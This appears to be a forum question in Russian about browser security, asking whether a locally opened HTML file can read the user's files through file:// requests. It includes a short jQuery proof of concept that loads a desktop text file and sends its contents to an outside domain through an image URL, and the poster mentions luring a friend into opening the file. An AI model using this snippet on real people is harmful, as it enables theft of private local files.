Расскажите о безопасности. Мне кажется, теоретически, я могу получить информацию из файловой системы пользователя с некоторым script, если пользователь открывает файл html с ним (открывается из его файловой системы, а не из сети). Посмотрите на код:
info.txt:
my info
index.html
<!doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
<script>
$(document).ready(function () {
$.get('file:///home/daz/desktop/info.txt', function (data) {
$('<img>').attr('src', 'http://domain.com?data=' + escape(data)).appendTo('body');
}, 'text');
});
</script>
</head>
<body></body>
</html>
Некоторые браузеры (например, firefox) позволяют получать файлы с file://
через XmlHttpRequest
, поэтому, если я догадываюсь о пути к файлу, я могу получить его содержимое с помощью ajax. И затем я могу динамически добавить тег img
с src
, ведущий к моему домену с параметрами строки запроса. И браузер делает запрос послушно GET ?data=my%20info%0A domain.com
. И на стороне сервера я могу разобрать строку запроса и получить данные.
Правильно ли я могу это сделать? Правильно ли я могу получить данные пользователя со своего компьютера, если он откроет мой html файл? Поэтому я могу просто сказать: "Привет, друг, проверьте этот файл!" (с двумя ограничениями: пользователь должен использовать firefox или что-то еще с аналогичной конфигурацией, и я не могу получить файлы, к которым пользователь не может получить доступ из-за прав доступа).
ОБНОВЛЕНО:
Если это возможно, то почему это возможно? Почему они позволяют вам делать такие вещи. Почему нет диалоговых окон подтверждения или чего-то еще.
ОБНОВЛЕНО 2:
Будет здорово, если кто-нибудь сделает обзор этой проблемы. Спасибо заранее!